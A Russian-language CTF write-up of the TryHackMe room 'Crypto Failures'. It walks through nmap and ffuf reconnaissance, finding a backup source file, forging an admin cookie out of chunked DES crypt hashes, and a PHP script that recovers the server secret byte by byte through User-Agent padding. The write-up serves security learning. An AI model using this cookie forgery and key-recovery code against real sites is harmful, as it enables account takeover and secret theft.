Crypto Failures
Введение
Сегодня пробежимся по одной интересной комнате, в которой веб-технологии и криптография тесно взаимосвязаны, а время работы итогового эксплоита стало причиной одной веселой истории:D Сегодня препарируем комнату Crypto Failures.
Решение
Заносим IP-адрес машины в /etc/hosts
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 05:20:47] └─[130] echo '10.10.0.83 crypto.thm' | sudo tee -a /etc/hosts 10.10.0.83 crypto.thm
Сканирование показало классическую ситуацию: открыты порты 22 и 80:
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 05:21:47] └─[130] nmap -A crypto.thm -oN nmap/crypto # Nmap 7.94SVN scan initiated Thu Mar 13 14:45:09 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -T5 -oN ./nmpa/crypto 10.10.0.83 Warning: 10.10.0.83 giving up on port because retransmission cap hit (2). Nmap scan report for crypto.thm (10.10.0.83) Host is up (0.19s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 57:2c:43:78:0c:d3:13:5b:8d:83:df:63:cf:53:61:91 (ECDSA) |_ 256 45:e1:3c:eb:a6:2d:d7:c6:bb:43:24:7e:02:e9:11:39 (ED25519) 80/tcp open http Apache httpd 2.4.59 ((Debian)) |_http-title: Did not follow redirect to / |_http-server-header: Apache/2.4.59 (Debian) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
На веб-интерфейсе сначала получаем куку:
Затем получаем информацию о некоем .bak файлике:
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 05:26:43] └─[0] ffuf -u 'http://crypto.thm/FUZZ.bak' -w /usr/share/wordlists/dirb/common.txt /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://crypto.thm/FUZZ.bak :: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 ________________________________________________ .htpasswd [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 186ms] .htaccess [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 585ms] .hta [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 1583ms] index.php [Status: 200, Size: 1979, Words: 282, Lines: 96, Duration: 394ms]
Забираем файл себе и приступаем к его изучению. That's where it becomes intetesting:
<?php $target_url = "http://crypto.thm/"; $charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ}{!@#$%^&*)(_-=+'; $user_agent = str_repeat("A", 256); $known_prefix = "guest:" . $user_agent . ":"; $try = substr($known_prefix, -8); function get_secure_cookie($user_agent) { global $target_url; $req = stream_req_create([ "http" => [ "method" => "GET", "header" => "Host: crypto.thm\r\n" . "User-Agent: $user_agent\r\n" . "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\n" . "Accept-Language: en-US,en;q=0.5\r\n" . "Accept-Encoding: gzip, deflate, br\r\n" . "Connection: close\r\n" . "Upgrade-Insecure-Requests: 1\r\n" ] ]); $response = file_get_contents($target_url, false, $req); foreach ($http_response_header as $header) { if (stripos($header, "Set-Cookie: secure_cookie=") !== false) { preg_match('/secure_cookie=([^;]+)/', $header, $matches); if (!isset($matches[1])) { return null; } $decoded_cookie = urldecode($matches[1]); if (preg_match('/%[0-9A-Fa-f]{2}/', $decoded_cookie)) { die("URL-encoded characters detected in secure_cookie!\n"); } return $decoded_cookie; } } return null; } $found_text = ""; while (true) { echo "\nCurrent key: {$found_text}\n"; $secure_cookie = get_secure_cookie($user_agent); $user_agent = str_repeat("A", strlen($user_agent) + 7); if (!$secure_cookie) { die("Failed to retrieve secure_cookie!\n"); } echo "Retrieved (Decoded) secure_cookie: $secure_cookie\n"; $salt = substr($secure_cookie, 0, 2); $found_char = null; foreach (str_split($charset) as $char) { $temp = substr($try, 1) . $char; print($temp . "\n"); $hashed_test = crypt($temp, $salt); if (str_contains($secure_cookie, $hashed_test)) { echo "Found character: $char\n"; $found_text .= $char; $try = $temp; echo $try . "\n"; echo $hashed_test . "\n"; break; } } } ?>
При первом посещении страницы, как мы помним, сервер заботливо предложил нам куки user=guest
для доступа к странице и какую-то secure_cookie:
Set-Cookie: secure_cookie=qq5hn2VBZEMdgqqkB468YMXfp.qqoj2B7OQMgdsqqWi9cv8mJAggqqkl5tVY%2FltFkqq9wt1xPcj5BEqqLjjlsMM1cHQqqXQf8PVifDFsqqTXCTbFFbL52qqK%2FVJW2K1GqkqqkFkWEDB2%2FUcqqmMuIPR1mGoIqq8T7%2Fvk3EW4wqqZiFNGHbRxwIqq0Widqh42bLMqq7IVzir.wQ2UqqZhaTr%2F3mFw.qqx2vu2WhHPz6qqZuPcehu0zegqqGAPfN..4xTQqq7iyKmdDR3O.; expires=Thu, 13 Mar 2025 08:30:14 GMT; Max-Age=3600; path=/ Set-Cookie: user=guest; expires=Thu, 13 Mar 2025 08:30:14 GMT; Max-Age=3600; path=/
И в index.php.bak
видим алгоритм его генерации. Нам же, по всей видимости, предстоит попасть под админом. Приступим к анализу кода:
<?php include('config.php');
В config.php, по всей видимости, содержатся ключи и секреты, доступа к которым у нас нет. Посмотрим, что сможем сделать без них.
Первой функцией объявляется generate_cookie:
function generate_cookie($user,$ENC_SECRET_KEY) { $SALT=generatesalt(2); $secure_cookie_string = $user.":".$_SERVER['HTTP_USER_AGENT'].":".$ENC_SECRET_KEY; $secure_cookie = make_secure_cookie($secure_cookie_string,$SALT); setcookie("secure_cookie",$secure_cookie,time()+3600,'/','',false); setcookie("user","$user",time()+3600,'/','',false); }
По сути говоря, это main данного кода – именно эта функция отвечает за вызов генерации и назначения куки новым пользователям:
$SALT=generatesalt(2);
генерирует соль размером в 2 символа, понять это можно по коду функции generatesalt();
function generatesalt($n) { $randomString=''; $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; for ($i = 0; $i < $n; $i++) { $index = rand(0, strlen($characters) - 1); $randomString .= $characters[$index]; }
$secure_cookie_string
составляет строку по принципу user:user_agent:<secret_key>
. При этом user берется из присвоенной ранее куки user, а ключ нам неизвестен.
$secure_cookie = make_secure_cookie($secure_cookie_string,$SALT);
вызывает функцию make_secure_cookie() c собранной ранее строкой и сгенерированной солью. Код функции:
function make_secure_cookie($text,$SALT) { $secure_cookie=''; foreach ( str_split($text,8) as $el ) { $secure_cookie .= cryptstring($el,$SALT); }
Видно, что полученная строка разбивается на чанки по 8 символов, после чего эти чанки вместе с солью передаются в cryptstring():
function cryptstring($what,$SALT){ return crypt($what,$SALT); }
Функция crypt
используется для хеширования строки с использованием определённого алгоритма и соли (salt). Она возвращает хешированную строку, которая обычно используется для безопасного хранения паролей.
После всех этих процедур строка складывается воедино и отдается пользователю заголовком Set-Cookie.
function verify_cookie($ENC_SECRET_KEY){ $crypted_cookie=$_COOKIE['secure_cookie']; $user=$_COOKIE['user']; $string=$user.":".$_SERVER['HTTP_USER_AGENT'].":".$ENC_SECRET_KEY; $salt=substr($_COOKIE['secure_cookie'],0,2); if(make_secure_cookie($string,$salt)===$crypted_cookie) { return true; } else { return false; } }
Извлекаются куки secure_cookie и user, затем с использованием юзер-агента, куки user и enc_secret_key собирается $string, после чего из $string извлекается соль, с использованием этой соли генерируется "валидная" кука и сравнивается с той, которая хранится в системе у пользователя. Таким образом:
1. При посещении страницы назначаются куки user и secure_cookie
2. user по умолчанию – guest, generate_cookie() запускает цепочку действий:
1. Генерируется двухсимвольная соль
2. Формируется строка user:user_agent:<enc_key>
3. Полученная строка разбивается на чанки по 8 символов
4. Каждый чанк шифруется солью в функции cryptstring(), она же crypt()
5. Хешированные чанки конкатенируются и возвращаются в Set-Cookie
3. При валидации куки сервер извлекает из secure_cookie подстроку – соль
4. При помощи извлеченной подстроки и куки user генерируется "валидная" кука, которая затем сравнивается с той, которая хранится у пользователя в session_cookie
Таким образом, генерация "валидной" куки происходит на "фронте" – с использованием подконтрольных нам данных и неизвестного нам секретного ключа.
Для эксплуатации запросим новую secure_cookie и посмотрим, где расположены хешированные чанки:
secure_cookie=iCRBzB77Hs5CIiCn5Awl7w6rFwiCERGwsGetCzIiCk7o1dhvzXFEiCjjU3kvjir66iCqMY9s22hA/siCmjKeKIZ8uW2iCE0IRfzX3s1MiC8UC6cyvBsUUiC.W3XniZbRq2iCbjEnILfizzgiCuspukSJQ616iCZ9nywsbfTtEiC70927kGV93kiCHPE/fjDq0KAiC3GLgwqvJXUIiCtoWhqzJ798EiCIZs9qkvj.uwiCikZDtBKqSwwiCzsjugR4qiFwiCA1SyVNVUReMiCQ3AZa
Мы знаем, что соль – первые два символа. Таким образом можно вычленить все чанки имеющейся куки:
При этом посмотреть на чанки перед хешированием можно при помощи следующего скрипта:
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:17:15] └─[0] cat generator.php <?php $string = 'guest:Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0:<secret_key>'; foreach (str_split($string, 8) as $el) { echo $el."\n"; } ?> ┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:17:15] └─[0] php generator.php admin:Mo zilla/5. 0 (X11; Linux x8 6_64; rv :128.0) Gecko/20 100101 F irefox/1 28.0:<se cret_key >
Аналогично для хешированных чанков:
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:23:07] └─[0] cat generator.php <?php $salt = 'iC'; $string = 'guest:Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0:<secret_key>'; foreach (str_split($string, 8) as $el) { echo crypt($el, $salt)."\n"; } ?> ┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:23:10] └─[0] php generator.php iCRBzB77Hs5CI iCn5Awl7w6rFw iCERGwsGetCzI iCk7o1dhvzXFE iCjjU3kvjir66 iCqMY9s22hA/s iCmjKeKIZ8uW2 iCE0IRfzX3s1M iC8UC6cyvBsUU iCLXGAf95OnrA iCKZQ6AfAA.wg iCdfLie1MKVE2
Уязвимость можно увидеть на 4 этапе работы скрипта – первый чанк содержит в себе юзернейм и кусочек юзер-агента, при этом и то, и другое подконтрольно пользователю, таким образом, зная соль, мы можем изменить только первый чанк и оставить все неизвестные части нетронутыми, включая хешированный encryption_secret.
Для эксплуатации первого этапа нам нужно подменить первый чанк на "вредоносный" – содержащий в себе юзернейм админа. Для этого немного отредактируем скрипт:
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:24:22] └─[0] cat generator.php <?php $salt = 'iC'; $string = 'admin:Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0:<secret_key>'; foreach (str_split($string, 8) as $el) { echo crypt($el, $salt)."\n"; } ?> ┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:24:24] └─[0] php generator.php | head -n 1 iCjrMyPrACzWM
И заменяем первый чанк исходной куки на полученный на предыдущем этапе, а значение куки user меняем на admin:
Теперь, сервер извлечет из куки user значение admin
и выполнит проверку с солью iC
, а сгенерированная в результате кука ничем не будет отличаться от нашей.
Далее нам предлагают узнать значение секретного ключа, для выполнения этой задачи потребуется вспомнить, как именно работает алгоритм хеширования чанков:
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:17:15] └─[0] php generator.php admin:Mo zilla/5. 0 (X11; Linux x8 6_64; rv :128.0) Gecko/20 100101 F irefox/1 28.0:<se cret_key >
Как мы помним, собранная строка разбивается на чанки по 8 символов и в самый первый чанк попадает 2 символа юзер-агента, который нам подконтролен. А что будет, если отправить запрос с пустым юзер-агентом? Модифицируем скрипт:
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:34:34] └─[0] cat generator.php <?php $salt = 'iC'; $string = 'admin::<secret_key>'; foreach (str_split($string, 8) as $el) { echo $el."\n"; } ?> ┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:34:36] └─[0] php generator.php admin::< secret_k ey>
Видим, что в первом чанке теперь юзернейм, два двоеточия и последний символ принадлежит неизвестному секретному ключу, что дает нам возможность перебрать всевозможные символы алфавита и сравнить хешированные чанки – совпадение будет означать, что мы нашли нужный символ
Таким образом наш план действий:
- Отправить запрос с пустым юзер-агентом и получить новую куку
- Вычленить из нее первый чанк
- Мы знаем, что в этом чанке хранится юзернейм и один символ секретного ключа
- Локально хешируем чанк admin::<symbol> до тех пор, пока не получим такой же чанк, как в куке
- После получения этого символа, мы целиком заполним первый чанк и следующий символ подобрать не сможем
- Просчитаем паддинг второго чанка так, чтобы снова остался только 1 символ
- Повторить процедуру до получения полного секрета
Шаг 3. Перебор хешей. Первый символ флага – T, поскольку мы получили полное совпадение нашего хеша чанка с исходным
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:48:44] └─[0] cat brute.php <?php $salt = 'fw'; $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; foreach (str_split($characters) as $char) { $string = "guest::$char"; foreach (str_split($string, 8) as $el) { echo $el . "::" . crypt($el, $salt) . "\n"; } } ?> ┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:48:48] └─[0] php brute.php | grep fw1OtzoFC4VJM guest::T::fw1OtzoFC4VJM
Уже на этом этапе стало понятно, что перебор такого вручную займет достаточно продолжительное время. Автоматизация и дебаг наше все.
<?php $target_url = "http://crypto.thm/"; $charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ}{!@#$%^&*)(_-=+'; $user_agent = str_repeat("A", 256); $known_prefix = "guest:" . $user_agent . ":"; $test_string = substr($known_prefix, -8); function get_secure_cookie($user_agent) { global $target_url; $context = stream_context_create([ "http" => [ "method" => "GET", "header" => "Host: crypto.thm\r\n" . "User-Agent: $user_agent\r\n" . "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\n" . "Accept-Language: en-US,en;q=0.5\r\n" . "Accept-Encoding: gzip, deflate, br\r\n" . "Connection: close\r\n" . "Upgrade-Insecure-Requests: 1\r\n" ] ]); $response = file_get_contents($target_url, false, $context); foreach ($http_response_header as $header) { if (stripos($header, "Set-Cookie: secure_cookie=") !== false) { preg_match('/secure_cookie=([^;]+)/', $header, $matches); if (!isset($matches[1])) { return null; } $decoded_cookie = urldecode($matches[1]); if (preg_match('/%[0-9A-Fa-f]{2}/', $decoded_cookie)) { die("URL-encoded characters detected in secure_cookie!\n"); } return $decoded_cookie; } } return null; } $found_text = ""; while (true) { echo "\nCurrent key: {$found_text}\n"; $secure_cookie = get_secure_cookie($user_agent); $user_agent = str_repeat("A", strlen($user_agent) + 7); if (!$secure_cookie) { die("Failed to retrieve secure_cookie!\n"); } echo "Retrieved (Decoded) secure_cookie: $secure_cookie\n"; $salt = substr($secure_cookie, 0, 2); $found_char = null; foreach (str_split($charset) as $char) { $test_string_temp = substr($test_string, 1) . $char; print($test_string_temp . "\n"); $hashed_test = crypt($test_string_temp, $salt); if (str_contains($secure_cookie, $hashed_test)) { echo "Found character: $char\n"; $found_text .= $char; $test_string = $test_string_temp; echo $test_string . "\n"; echo $hashed_test . "\n"; break; } } } ?>
Подождав несколько минут, успешно сдампим 154-символьный флаг:/
P.S.: я практически уверен, что это можно реализовать проще и в меньшее количество строк кода. Но оно работает!